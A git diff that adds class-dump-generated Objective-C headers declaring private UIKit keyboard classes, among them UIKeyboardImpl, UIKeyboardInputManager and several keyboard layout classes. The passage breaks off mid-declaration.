0000000..bb2bc47 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardEmojiView.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIControl.h" + +@class UIImageView, UIKeyboardEmoji; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardEmojiView : UIControl { +@private + UIKeyboardEmoji* _emoji; + UIView* _popup; + UIImageView* _imageView; + UIView* _pressedView; +} +@property(retain) UIKeyboardEmoji* emoji; +@property(retain) UIView* popup; +@property(retain) UIImageView* imageView; +@property(retain) UIView* pressedView; ++(void)recycleEmojiView:(id)view; ++(id)emojiViewForEmoji:(id)emoji withFrame:(CGRect)frame; +-(id)initWithFrame:(CGRect)frame emoji:(id)emoji; +-(void)dealloc; +-(id)createAndInstallKeyPopupView; +-(void)uninstallPopup; +-(void)showPressedState; +-(void)showNormalState; +-(void)setEmoji:(id)emoji withFrame:(CGRect)frame; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardGenericKeyView.h b/igor/headers/dumpedUIKit/UIKeyboardGenericKeyView.h new file mode 100644 index 0000000..732a227 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardGenericKeyView.h @@ -0,0 +1,31 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardKeyView.h" + +@class NSString; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardGenericKeyView : UIKeyboardKeyView { +@private + id _target; + SEL _action; + NSString* _label; + int _location; + BOOL _isMouseInside; +} +-(id)initWithFrame:(CGRect)frame target:(id)target action:(SEL)action; +-(void)setLabel:(id)label; +-(void)setLocation:(int)location; +-(id)localizedString; +-(CFDataRef)createCacheKey; +-(id)image; +-(void)mouseDown:(GSEventRef)down; +-(void)mouseUp:(GSEventRef)up; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardImpl.h b/igor/headers/dumpedUIKit/UIKeyboardImpl.h new file mode 100644 index 0000000..63dfe74 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardImpl.h @@ -0,0 +1,299 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" +#import "UIKeyboardImpl.h" + +@class UIAutocorrectInlinePrompt, NSString, UIKeyboardLayout, UIKeyboardInputManager, UIDelayedAction, NSMutableDictionary, UITextInputTraits, UIKeyboardLanguageIndicator, NSArray, NSTimer, CandWord; +@protocol UIKeyboardCandidateList, UIKeyboardInput, UIKeyboardRecording, UIApplicationEventRecording; + +@interface UIKeyboardImpl : UIView { + id m_delegate; + UIKeyboardLanguageIndicator* m_languageIndicator; + NSString* m_previousInputString; + UIKeyboardInputManager* m_inputManager; + CandWord* m_autocorrection; + UIAutocorrectInlinePrompt* m_autocorrectPrompt; + UIDelayedAction* m_autocorrectPromptAction; + NSArray* m_candidates; + id m_candidateList; + NSObject* m_recorder; + UIKeyboardLayout* m_layout; + NSMutableDictionary* m_keyedLayouts; + NSString* m_inputModeLastChosen; + UIDelayedAction* m_synchronizePreferencesAction; + NSTimer* m_autoDeleteTimer; + unsigned m_autoDeleteCount; + double m_autoDeleteLastDelete; + double m_autoDeleteInterval; + unsigned short m_autoDeleteShiftCharacter; + UIDelayedAction* m_longPressAction; + int m_orientation; + CGPoint m_inputPoint; + int m_changeCount; + double m_changeTime; + CFRunLoopObserverRef m_observer; + UITextInputTraits* m_defaultTraits; + UITextInputTraits* m_traits; + int m_returnKeyState; + int m_currentDirection; + BOOL m_autocorrectionPreference; + BOOL m_autocapitalizationPreference; + BOOL m_doubleSpacePeriodPreference; + BOOL m_autoDeleteOK; + BOOL m_autoshift; + BOOL m_initializationDone; + BOOL m_preferencesNeedSynchronization; + BOOL m_shift; + BOOL m_shiftLockedEnabled; + BOOL m_shiftLocked; + BOOL m_changed; + BOOL m_selecting; + BOOL m_inDealloc; + BOOL m_caretVisible; + BOOL m_caretBlinks; + BOOL m_caretShowingNow; + BOOL m_updatingPreferences; + BOOL m_anotherTouchWaiting; + BOOL m_performDecomposingDelete; + BOOL m_delegateIsSMSTextView; + BOOL m_performanceLoggingEnabled; + BOOL m_shouldSkipCandidateSelection; + BOOL m_autocorrectPromptTimerFired; + BOOL m_changeNotificationDisabled; + BOOL m_userChangedSelection; + BOOL m_shouldChargeKeys; + BOOL m_longPress; + BOOL m_syntheticInput; + BOOL m_shiftNeedsUpdate; + BOOL m_shiftPreventAutoshift; + BOOL m_shiftHeldDownNeedsUpdated; +} +@property(retain, nonatomic) id recorder; +@property(assign, nonatomic) BOOL shouldSkipCandidateSelection; ++(id)sharedInstance; ++(id)activeInstance; ++(void)releaseSharedInstance; ++(void)applicationWillSuspend:(id)application; ++(CGSize)defaultSize; ++(CGSize)defaultSizeForOrientation:(int)orientation; ++(CGSize)defaultSizeForInterfaceOrientation:(int)interfaceOrientation; ++(int)orientationForSize:(CGSize)size; +-(id)initWithFrame:(CGRect)frame; +-(void)delayedInit; +-(void)dealloc; +-(void)clearLayouts; +-(void)removeFromSuperview; +-(void)applicationSuspendedEventsOnly:(id)only; +-(void)applicationResumedEventsOnly:(id)only; +-(void)defaultsDidChange; +-(void)defaultsDidChange:(id)defaults; +-(void)synchronizePreferencesIfNeeded; +-(void)synchronizePreferences; +-(void)touchSynchronizePreferencesTimer; +-(void)clearSynchronizePreferencesTimer; +-(BOOL)performanceLoggingPreference; +-(BOOL)autocorrectionPreference; +-(BOOL)autocorrectionPreferenceForTraits; +-(BOOL)autocapitalizationPreference; +-(BOOL)doubleSpacePeriodPreference; +-(id)UILanguagePreference; +-(BOOL)keyboardsExpandedPreference; +-(void)setKeyboardsExpandedPreference; +-(BOOL)canWriteKeyboardsExpandedPreferences; +-(id)inputModePreference; +-(id)localePreference; +-(void)setInputModePreference; +-(id)inputModeFirstPreference; +-(id)inputModeLastChosenPreference; +-(void)setInputModeLastChosenPreference; +-(id)inputModeLastUsedPreference; +-(void)setInputModeLastUsedPreference; +-(void)setKeyboardDefault:(id)aDefault forKey:(id)key; +-(id)keyboardDefaultForKey:(id)key; +-(BOOL)shiftLockPreference; +-(void)setInputMode:(id)mode; +-(void)setInputModeIfDifferentThanCurrent:(id)current; +-(void)setInputModeFromPreferences; +-(void)showInputModeIndicator; +-(void)fadeAnimationDidStop:(id)fadeAnimation finished:(id)finished; +-(BOOL)isDesiredInputMode:(id)mode; +-(BOOL)isAllowedInputMode:(id)mode; +-(void)setInputModeToNextInPreferredList; +-(void)setInputModeToNextASCIICapableInPreferredList; +-(id)inputModeLastChosen; +-(void)setOrientationForSize:(CGSize)size; +-(void)setFrame:(CGRect)frame; +-(void)updateLayoutForInterfaceOrientation:(int)interfaceOrientation; +-(void)takeTextInputTraitsFrom:(id)from; +-(id)delegate; +-(void)setDelegate:(id)delegate; +-(void)setDelegate:(id)delegate force:(BOOL)force; +-(void)postEmptyDelegateNotificationIfNeeded; +-(BOOL)delegateIsSMSTextView; +-(void)setInitialDirection; +-(void)textChanged:(id)changed; +-(void)setDefaultTextInputTraits:(id)traits; +-(id)textInputTraits; +-(void)enable; +-(BOOL)callShouldInsertText:(id)call; +-(BOOL)callShouldDelete; +-(void)callChangedSelection; +-(int)callPositionForAutocorrection:(id)autocorrection; +-(void)callChanged; +-(void)setChanged; +-(void)clearChangedDelegate; +-(BOOL)changeNotificationDisabled; +-(void)setChangeNotificationDisabled:(BOOL)disabled; +-(void)clearInputManager; +-(void)updateObserverState; +-(void)handleObserverCallback; +-(void)prepareForGeometryChange; +-(void)geometryChangeDone:(BOOL)done; +-(CGRect)subtractKeyboardFrameFromRect:(CGRect)rect inView:(id)view; +-(void)updateLayout; +-(int)orientation; +-(void)setMarkedText; +-(BOOL)hasMarkedText; +-(BOOL)hasEditableMarkedText; +-(id)searchStringForMarkedText; +-(void)prepareForSelectionChange; +-(void)setSelectionWithPoint:(CGPoint)point; +-(void)updateForChangedSelection; +-(void)updateInputManagerAutoShiftFlag; +-(BOOL)shouldSwitchInputMode:(id)mode; +-(void)recomputeActiveInputModes; +-(void)notifyShiftState; +-(void)updateShiftState; +-(void)setShiftOffIfNeeded; +-(void)toggleShift; +-(void)setShift:(BOOL)shift; +-(void)setShift:(BOOL)shift autoshift:(BOOL)autoshift; +-(void)setShiftPreventAutoshift:(BOOL)autoshift; +-(void)setShiftNeedsUpdate; +-(void)setShiftLocked; +-(BOOL)isShifted; +-(BOOL)isAutoShifted; +-(BOOL)isShiftLocked; +-(BOOL)shiftLockedEnabled; +-(void)clearShiftState; +-(void)forceShiftUpdate; +-(void)forceShiftUpdateIfKeyboardStateChanged; +-(BOOL)suppliesCompletions; +-(void)keyActivated; +-(void)keyDeactivated; +-(void)setInputPoint:(CGPoint)point; +-(void)handleDeleteAsRepeat:(BOOL)repeat; +-(void)handleDelete; +-(void)handleStringInput:(id)input fromVariantKey:(BOOL)variantKey; +-(BOOL)acceptInputString:(id)string; +-(void)setPreviousInputString:(id)string; +-(void)addInputString:(id)string; +-(void)addInputString:(id)string fromVariantKey:(BOOL)variantKey; +-(void)setPhraseBoundary:(unsigned)boundary; +-(unsigned)phraseBoundary; +-(void)setInputString:(id)string; +-(BOOL)shouldEnableShiftForDeletedCharacter:(unsigned short)deletedCharacter; +-(void)updateLayoutAndSetShift; +-(void)handleDeleteWithZeroInputCount; +-(void)handleDeleteWithNonZeroInputCount; +-(void)deleteFromInput; +-(void)acceptAutocorrection; +-(void)acceptCandidate:(id)candidate atIndex:(unsigned)index; +-(void)acceptCurrentCandidate; +-(void)acceptCurrentCandidateIfSelected; +-(void)showNextCandidates; +-(void)candidateListAcceptCandidate:(id)candidate; +-(void)candidateListSelectionDidChange:(id)candidateListSelection; +-(id)candidateList; +-(void)clearInput; +-(void)setInputObject:(id)object; +-(void)addInputObject:(id)object; +-(void)clearTransientState; +-(void)clearAnimations; +-(void)acceptWord:(id)word firstDelete:(unsigned)aDelete addString:(id)string; +-(BOOL)displaysCandidates; +-(void)updateCandidateDisplayAsyncWithCandidates:(id)candidates forInputManager:(id)inputManager; +-(BOOL)needsToDeferUpdateTextCandidateView; +-(void)updateCandidateDisplay; +-(void)setAutocorrection:(id)autocorrection; +-(id)autocorrectPrompt; +-(void)removeAutocorrectPrompt; +-(void)setCandidates:(id)candidates; +-(int)returnKeyType; +-(BOOL)returnKeyEnabled; +-(void)setReturnKeyEnabled:(BOOL)enabled; +-(void)updateReturnKey; +-(void)updateReturnKey:(BOOL)key; +-(id)automaticallySelectedOverlay; +-(id)inputOverlayContainer; +-(void)updateTextCandidateView; +-(CGRect)convertRectToAutocorrectRect:(CGRect)autocorrectRect delegateView:(id)view container:(id)container; +-(void)touchAutocorrectPromptTimer; +-(void)clearAutocorrectPromptTimer; +-(void)updateAutocorrectPromptAction; +-(void)updateAutocorrectPrompt:(id)prompt; +-(void)animateAutocorrection; +-(void)fadeAutocorrectPrompt; +-(void)autocorrectionAnimationDidStop:(id)autocorrectionAnimation finished:(id)finished context:(void*)context; +-(BOOL)delegateSuggestionsForCurrentInput; +-(void)generateCandidates:(BOOL)candidates; +-(BOOL)shouldChargeKeys; +-(CFDictionaryRef)chargedKeyProbabilities; +-(void)touchAutoDeleteTimerWithThreshold:(double)threshold; +-(void)autoDeleteTimerFired:(id)fired; +-(void)startAutoDeleteTimer; +-(void)stopAutoDelete; +-(void)touchLongPressTimerWithDelay:(double)delay; +-(void)touchLongPressTimer; +-(void)clearLongPressTimer; +-(void)longPressAction; +-(BOOL)isLongPress; +-(void)clearTimers; +-(void)clearChangeTimeAndCount; +-(void)updateChangeTimeAndIncrementCount; +-(int)changeCount; +-(void)setAnotherTouchWaiting:(BOOL)waiting; +-(void)handleHardwareKeyDownFromSimulator:(GSEventRef)simulator; +-(void)startCaretBlinkIfNeeded; +-(void)setCaretBlinks:(BOOL)blinks; +-(void)setCaretVisible:(BOOL)visible; +-(BOOL)caretBlinks; +-(BOOL)caretVisible; +-(void)clearSelection; +-(void)timeMark:(unsigned)mark message:(id)message; +-(void)timeMark:(unsigned)mark; +-(void)timeElapsed:(unsigned)elapsed message:(id)message; +-(BOOL)canHandleKeyHitTest; +-(void)clearKeyAreas; +-(void)registerKeyArea:(CGPoint)area withRadii:(CGPoint)radii forKeyCode:(unsigned short)keyCode forLowerKey:(id)lowerKey forUpperKey:(id)upperKey; +-(int)keyHitTest:(CGPoint)test touchStage:(int)stage atTime:(double)time withPathInfo:(XXStruct__FxRIA*)pathInfo forceShift:(BOOL)shift; +-(BOOL)keySlidIntoSwipe; +-(BOOL)pointInside:(CGPoint)inside withEvent:(id)event; +-(BOOL)pointInside:(CGPoint)inside forEvent:(GSEventRef)event; +-(BOOL)isAutoFillMode; +@end + +@interface UIKeyboardImpl (UIKeyboardLayoutLanguageAdapter) +-(void)callLayoutUpdateReturnKey; +-(BOOL)callLayoutUsesAutoShift; +-(BOOL)callLayoutIsShiftKeyPlaneChooser; +-(BOOL)callLayoutShiftKeyRequiresImmediateUpdate; +-(BOOL)callLayoutIsShiftKeyBeingHeld; +-(void)callLayoutSetShift:(BOOL)shift; +-(void)callLayoutLongPressAction; +-(void)callLayoutUpdateLocalizedKeys; +@end + +@interface UIKeyboardImpl (UIKeyboardRecording) +-(BOOL)keyboardRecordingEnabled; +-(void)installRecorder; +-(void)startKeyboardRecording; +-(void)stopKeyboardRecording; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardInput.h b/igor/headers/dumpedUIKit/UIKeyboardInput.h new file mode 100644 index 0000000..06403e5 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardInput.h @@ -0,0 +1,68 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UITextInputTraits_Private.h" +#import "UITextInputTraits.h" +#import "UITextSelectingContainer.h" + + +@protocol UIKeyboardInput +-(id)delegate; +-(id)textInputTraits; +-(BOOL)hasContent; +-(id)text; +-(void)setText:(id)text; +-(void)deleteBackward; +-(void)insertText:(id)text; +-(void)selectAll; +-(int)selectionState; +-(id)keyboardInputView; +-(BOOL)hasSelection; +-(CGRect)rectContainingCaretSelection; +-(CGRect)rectForNSRange:(NSRange)nsrange; +-(id)rectsForNSRange:(NSRange)nsrange; +-(id)wordRangeContainingCaretSelection; +-(BOOL)shouldEnableAutoShift; +-(id)rangeByMovingCurrentSelection:(int)selection; +-(id)rangeByExtendingCurrentSelection:(int)selection; +-(void)extendCurrentSelection:(int)selection; +-(id)wordContainingCaretSelection; +-(id)wordInRange:(id)range; +-(unsigned short)characterAfterCaretSelection; +-(unsigned short)characterBeforeCaretSelection; +-(unsigned short)characterInRelationToCaretSelection:(int)caretSelection; +-(void)expandSelectionToStartOfWordContainingCaretSelection; +-(void)moveBackward:(unsigned)backward; +-(void)moveForward:(unsigned)forward; +-(void)replaceRangeWithText:(NSRange)text replacementText:(id)text2; +-(void)replaceCurrentWordWithText:(id)text; +-(void)replaceRangeWithTextWithoutClosingTyping:(NSRange)textWithoutClosingTyping replacementText:(id)text; +-(NSRange)selectionRange; +-(id)selectedDOMRange; +-(void)setSelectedDOMRange:(id)range affinityDownstream:(BOOL)downstream; +-(BOOL)selectionAtDocumentStart; +-(BOOL)selectionAtSentenceStart; +-(BOOL)selectionAtWordStart; +-(NSRange)markedTextRange; +-(id)markedText; +-(void)setMarkedText:(id)text selectedRange:(NSRange)range; +-(void)setMarkedText:(id)text; +-(void)confirmMarkedText:(id)text; +-(int)wordOffsetInRange:(id)range; +-(CGRect)convertCaretRect:(CGRect)rect; +-(BOOL)isProxyFor:(id)aFor; +-(id)textColorForCaretSelection; +-(id)fontForCaretSelection; +@optional +-(BOOL)requiresKeyEvents; +-(void)handleKeyEvent:(GSEventRef)event; +-(id)automaticallySelectedOverlay; +-(void)setBottomBufferHeight:(float)height; +-(id)window; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardInputManager.h b/igor/headers/dumpedUIKit/UIKeyboardInputManager.h new file mode 100644 index 0000000..e1820b2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardInputManager.h @@ -0,0 +1,87 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import +#import "UIKeyboardInputManager.h" + + +@interface UIKeyboardInputManager : NSObject { +} ++(id)sharedInstanceForInputMode:(id)inputMode; ++(id)activeInstance; ++(void)releaseSharedInstance; ++(id)keyboardUserDirectory; ++(id)dynamicDictionaryFilePathForInputMode:(id)inputMode; ++(void)removeDynamicDictionaryForInputMode:(id)inputMode; ++(void)removeAllDynamicDictionaries; ++(void)registerCentroid:(CGPoint)centroid forKey:(id)key; ++(void)clearAllCentroids; +-(id)addInput:(id)input flags:(unsigned)flags point:(CGPoint)point firstDelete:(unsigned*)aDelete fromVariantKey:(BOOL)variantKey; +-(void)setInput:(id)input; +-(id)deleteFromInput:(unsigned*)input; +-(void)clearInput; +-(void)acceptInput; +-(void)setInputIndex:(unsigned)index; +-(unsigned)inputIndex; +-(unsigned)inputCount; +-(id)inputString; +-(BOOL)inputEmpty; +-(void)inputLocationChanged; +-(BOOL)stringEndsWord:(id)word; +-(BOOL)acceptInputString:(id)string; +-(id)autocorrection; +-(id)candidates; +-(id)remainingInput; +-(void)setPhraseBoundary:(unsigned)boundary; +-(unsigned)phraseBoundary; +-(BOOL)supportsSetPhraseBoundary; +-(BOOL)usesCandidateSelection; +-(BOOL)usesAutoDeleteWord; +-(BOOL)suppressesCandidateDisplay; +-(id)defaultCandidate; +-(unsigned)defaultCandidateIndex; +-(id)searchStringForMarkedText; +-(BOOL)suppliesCompletions; +-(BOOL)suppressCompletionsForFieldEditor; +-(id)stringForDoubleKey:(id)doubleKey; +-(BOOL)isSentenceDelimiter:(unsigned short)delimiter; +-(BOOL)setInputMode:(id)mode; +-(void)addToTypingHistory:(id)typingHistory; +-(void)textAccepted:(id)accepted; +-(void)candidateAccepted:(id)accepted; +-(void)increaseUserFrequency:(id)frequency; +-(void)decreaseUserFrequency:(id)frequency; +-(void)clearDynamicDictionary; +-(id)shadowTyping; +-(void)setCalculatesChargedKeyProbabilities:(BOOL)probabilities; +-(CFArrayRef)chargeableKeys; +-(CFDictionaryRef)chargedKeyProbabilities; +-(id)addInputObject:(id)object; +-(id)setInputObject:(id)object; +-(BOOL)canHandleKeyHitTest; +-(void)clearKeyAreas; +-(void)registerKeyArea:(CGPoint)area withRadii:(CGPoint)radii forKeyCode:(unsigned short)keyCode forLowerKey:(id)lowerKey forUpperKey:(id)upperKey; +-(int)keyHitTest:(CGPoint)test touchStage:(int)stage atTime:(double)time withPathInfo:(XXStruct__FxRIA*)pathInfo forceShift:(BOOL)shift; +-(BOOL)keySlidIntoSwipe; +-(int)keyCancel:(CGPoint)cancel atTime:(double)time fromPath:(int)path withIdentity:(int)identity forceShift:(BOOL)shift; +-(void)deleteFromStrokeHistory:(BOOL)strokeHistory; +-(void)setKeyboardMatchType:(int)type; +-(void)registerCentroid:(CGPoint)centroid forKey:(id)key; +-(void)clearAllCentroids; +@end + +@interface UIKeyboardInputManager (FeatureSpecializations) +-(void)setAutoCorrects:(BOOL)corrects; +-(void)setShallowPrediction:(BOOL)prediction; +-(void)setShift:(BOOL)shift; +-(void)setAutoShift:(BOOL)shift; +-(BOOL)shouldExtendPriorWord; +-(void)configureKeyboard:(id)keyboard forCandidates:(id)candidates; +-(void)configureKeyboard:(id)keyboard forAutocorrection:(id)autocorrection; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardKeyView.h b/igor/headers/dumpedUIKit/UIKeyboardKeyView.h new file mode 100644 index 0000000..30ef28e --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardKeyView.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class NSString; + +@interface UIKeyboardKeyView : UIView { + int m_orientation; + int m_type; + int m_state; + int m_style; + int m_mode; + NSString* m_labelID; + int m_labelAdjustmentX; + int m_labelAdjustmentY; + float m_cachedFontSize; + float m_cachedXHeight; +} +@property(retain, nonatomic) NSString* labelID; +@property(assign, nonatomic) int mode; +@property(assign, nonatomic) int style; +@property(assign, nonatomic) int state; +@property(assign, nonatomic) int type; +-(id)initWithFrame:(CGRect)frame orientation:(int)orientation style:(int)style; +-(CFDataRef)createCacheKey; +-(id)image; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLanguageIndicator.h b/igor/headers/dumpedUIKit/UIKeyboardLanguageIndicator.h new file mode 100644 index 0000000..95ee64d --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLanguageIndicator.h @@ -0,0 +1,26 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIView.h" + +@class UIImage; + +@interface UIKeyboardLanguageIndicator : UIView { + UIImage* m_image; + float m_textSize; + int m_style; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setBackgroundImage:(id)image; +-(void)setTextSize:(float)size; +-(void)setStyle:(int)style; +-(void)fade; +-(void)drawRect:(CGRect)rect; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayout.h b/igor/headers/dumpedUIKit/UIKeyboardLayout.h new file mode 100644 index 0000000..d25b972 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayout.h @@ -0,0 +1,54 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIView.h" +#import "UIKeyboardLayoutProtocol.h" +#import "UIKit-Structs.h" + + +@interface UIKeyboardLayout : UIView { + unsigned m_currentPathFlags; + XXStruct__FxRIA m_activePathInfo; + int m_shiftKeyPathIndex; + int m_swipePathIndex; +} +-(id)initWithFrame:(CGRect)frame; +-(void)showKeyboardType:(int)type withAppearance:(int)appearance; +-(void)deactivateActiveKeys; +-(void)updateReturnKey; +-(void)updateLocalizedKeys; +-(BOOL)usesAutoShift; +-(void)setShift:(BOOL)shift; +-(BOOL)isShiftKeyBeingHeld; +-(BOOL)isShiftKeyPlaneChooser; +-(BOOL)shiftKeyRequiresImmediateUpdate; +-(void)longPressAction; +-(BOOL)canHandleHandEvent:(GSEventRef)event; +-(BOOL)handleHandEvent:(GSEventRef)event; +-(void)didClearInput; +-(id)candidateList; +-(void)setLabel:(id)label forKey:(id)key; +-(void)setTarget:(id)target forKey:(id)key; +-(void)setAction:(SEL)action forKey:(id)key; +-(void)setLongPressAction:(SEL)action forKey:(id)key; +-(void)restoreDefaultsForKey:(id)key; +-(void)restoreDefaultsForAllKeys; +-(id)activationIndicatorView; +-(BOOL)shouldShowIndicator; +-(void)handleHardwareKeyDownFromSimulator:(GSEventRef)simulator; +-(void)touchDown:(GSEventRef)down withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchDragged:(GSEventRef)dragged withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(void)touchUp:(GSEventRef)up withPathInfo:(XXStruct__FxRIA*)pathInfo; +-(BOOL)cancelTouchTracking; +-(BOOL)cancelMouseTracking; +-(void)touchesBegan:(id)began withEvent:(id)event; +-(void)touchesMoved:(id)moved withEvent:(id)event; +-(void)touchesEnded:(id)ended withEvent:(id)event; +-(void)touchesCancelled:(id)cancelled withEvent:(id)event; +-(void)phraseBoundaryDidChange; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutAZERTY.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutAZERTY.h new file mode 100644 index 0000000..66d485f --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutAZERTY.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTY.h" + + +@interface UIKeyboardLayoutAZERTY : UIKeyboardLayoutQWERTY { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutAZERTYLandscape.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutAZERTYLandscape.h new file mode 100644 index 0000000..16cee5b --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutAZERTYLandscape.h @@ -0,0 +1,14 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardLayoutQWERTYLandscape.h" + + +@interface UIKeyboardLayoutAZERTYLandscape : UIKeyboardLayoutQWERTYLandscape { +} +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutEmoji.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutEmoji.h new file mode 100644 index 0000000..f6795d8 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutEmoji.h @@ -0,0 +1,48 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKeyboardEmojiController.h" +#import "UIKeyboardLayout.h" +#import "UIKit-Structs.h" + +@class UIKeyboardEmojiFactory, UIKeyboardEmojiCategoryController, UIKeyboardEmojiScrollView, UIButton, UIKeyboardEmojiCategoriesControl, UIKeyboardEmojiRecentsController; + +__attribute__((visibility("hidden"))) +@interface UIKeyboardLayoutEmoji : UIKeyboardLayout { +@private + UIKeyboardEmojiScrollView* _emojiView; + UIButton* _globeButton; + UIButton* _deleteButton; + UIKeyboardEmojiCategoriesControl* _categoriesView; + UIKeyboardEmojiFactory* _emojiFactory; + UIKeyboardEmojiRecentsController* _recentsController; + UIKeyboardEmojiCategoryController* _categoryController; +} +-(id)initWithFrame:(CGRect)frame; +-(void)dealloc; +-(void)setFrame:(CGRect)frame; +-(void)updateCornerButtonImages; +-(void)layoutSubviews; +-(void)deactivateActiveKeys; +-(id)defaultsDictionary; +-(id)emojiForCodePoint:(id)codePoint; +-(void)emojiSelected:(id)selected; +-(id)recents; +-(void)save:(id)save; +-(void)globeDown; +-(void)globeSwitch; +-(void)deleteBegin; +-(void)deleteEnd; +-(BOOL)shouldShowIndicator; +-(void)categoryChangedNoSounds; +-(void)showKeyboardType:(int)type withAppearance:(int)appearance; +-(void)categoryChanged; +-(void)categoryReselected; +-(BOOL)canHandleHandEvent:(GSEventRef)event; +-(BOOL)handleHandEvent:(GSEventRef)event; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutProtocol.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutProtocol.h new file mode 100644 index 0000000..091f8a2 --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutProtocol.h @@ -0,0 +1,35 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "NSObject.h" +#import "UIKit-Structs.h" + + +@protocol UIKeyboardLayoutProtocol +-(void)showKeyboardType:(int)type withAppearance:(int)appearance; +-(void)deactivateActiveKeys; +-(void)updateReturnKey; +-(void)updateLocalizedKeys; +-(BOOL)usesAutoShift; +-(void)setShift:(BOOL)shift; +-(BOOL)isShiftKeyBeingHeld; +-(void)longPressAction; +-(BOOL)canHandleHandEvent:(GSEventRef)event; +-(BOOL)handleHandEvent:(GSEventRef)event; +-(void)didClearInput; +-(id)candidateList; +-(void)setLabel:(id)label forKey:(id)key; +-(void)setTarget:(id)target forKey:(id)key; +-(void)setAction:(SEL)action forKey:(id)key; +-(void)setLongPressAction:(SEL)action forKey:(id)key; +-(void)restoreDefaultsForKey:(id)key; +-(void)restoreDefaultsForAllKeys; +-(id)activationIndicatorView; +-(BOOL)shouldShowIndicator; +-(void)phraseBoundaryDidChange; +@end + diff --git a/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTY.h b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTY.h new file mode 100644 index 0000000..e0270ef --- /dev/null +++ b/igor/headers/dumpedUIKit/UIKeyboardLayoutQWERTY.h @@ -0,0 +1,72 @@ +/** + * This header is generated by class-dump-z 0.2a. + * class-dump-z is Copyright (C) 2009 by KennyTM~, licensed under GPLv3. + * + * Source: /System/Library/Frameworks/UIKit.framework/UIKit + */ + +#import "UIKit-Structs.h" +#import "UIKeyboardLayoutQWERTY.h" +#import "UIKeyboardLayoutRoman.h" + + +@interface UIKeyboardLayoutQWERTY : 